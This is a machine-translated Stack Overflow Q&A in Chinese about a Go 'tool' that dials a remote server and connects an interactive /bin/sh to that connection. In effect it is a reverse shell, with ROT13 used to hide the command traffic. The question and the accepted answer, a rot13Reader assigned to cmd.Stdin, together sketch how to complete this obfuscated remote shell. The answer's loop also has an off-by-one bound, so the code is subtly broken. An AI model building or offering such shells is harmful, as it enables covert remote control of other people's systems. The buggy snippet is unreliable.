【问题标题】:How to capture the bytes of stdin如何捕获标准输入的字节
【发布时间】:2021-10-20 01:05:36
【问题描述】:

目标:我想捕获 cmd.Stdin 的所有字节并用这个 rot13 函数处理它们:https://play.golang.org/p/VX2pwaIqhmT

故事:我正在编写一个小工具,它将为 win/linux 交叉编译,所以我试图让它尽可能简单。这个工具连接到服务器,我可以在客户端上执行命令。

因为我必须对 cmd.Stdout 做同样的事情,所以我使用了这个:

.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive*** 
//***shell***, and not just a simple command
                                        
cmd.Stdin = conn

cmdStdout, err := cmd.StdoutPipe() // works fine
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()
    if err != nil {
        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
    }
.....
err = OBFprocessStream(cmdStdout, conn) // works fine
....

其中 OBFprocessStream 函数基于此:https://play.golang.org/p/j_TKZWuhGaK。这里一切正常。

所以,我尝试为 cmd.Stdin 复制相同的内容:

.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)

......

cmd := exec.Command(/bin/sh, "-i") 
                                        
cmdStdin, err := cmd.StdinPipe() 
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)

}

cmdStdout, err := cmd.StdoutPipe()
    if err != nil {
    fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)

}

cmd.Stderr = conn

err = cmd.Start()
    if err != nil {
        fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
    }

.....
err = INOBFprocessStream(cmdStdin, conn)
....

.....
err = OBFprocessStream(cmdStdout, conn)
....

但是.. cmdStdin 是一个 Io.WriterCloser,我真的不知道该怎么做才能捕获字节 sEGIHOsegoihszrhoiò

你能帮帮我吗?

【问题讨论】:

  • 您无法捕获cmd.Stdin,它是进程的输入 流,因此是您的输出 流。你应该到它,或者关闭它。
  • @rustyx 感谢您的评论!那你有什么建议?传入的输入是 ROT13 编码的,因此需要对数据进行解码。这是我想到的场景:ncat server —> socat 对命令进行 rot13 编码 --> Go 工具对 stdin 进行 rot13 解码 —> Go 工具通过 stdin 向 shell 发送数据
  • @rustyx 小题外记:我完全同意你在个人资料中描述的关于 SO 衰落的观点。我分享了很多,我也将链接粘贴到了我的个人资料中
  • 哈哈,是的,5年前更糟....
  • 试试cmd.Stdin = &rot13Reader{conn}

标签: go io byte interactive-shell


【解决方案1】:

看来您真正想要的是从conn 读取数据,使用ROT13 对其进行过滤,然后将其传递给cmd.Stdin(它接受io.Reader)。

而您的rot13Reader 已经在实施io.Reader

type rot13Reader struct {
    r io.Reader
}

func (r13 *rot13Reader) Read(b []byte) (int, error) {
    n, err := r13.r.Read(b)
    for i := 0; i <= n; i++ {
        b[i] = rot13(b[i])
    }
    return n, err
}

因此,一个快速的解决方案可以是用它构建一个小的过滤器链,如下所示:

    cmd.Stdin = &rot13Reader{conn}

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2013-05-11
    • 2017-07-21
    • 1970-01-01
    • 1970-01-01
    • 2010-09-09
    • 2011-04-17
    相关资源
    最近更新 更多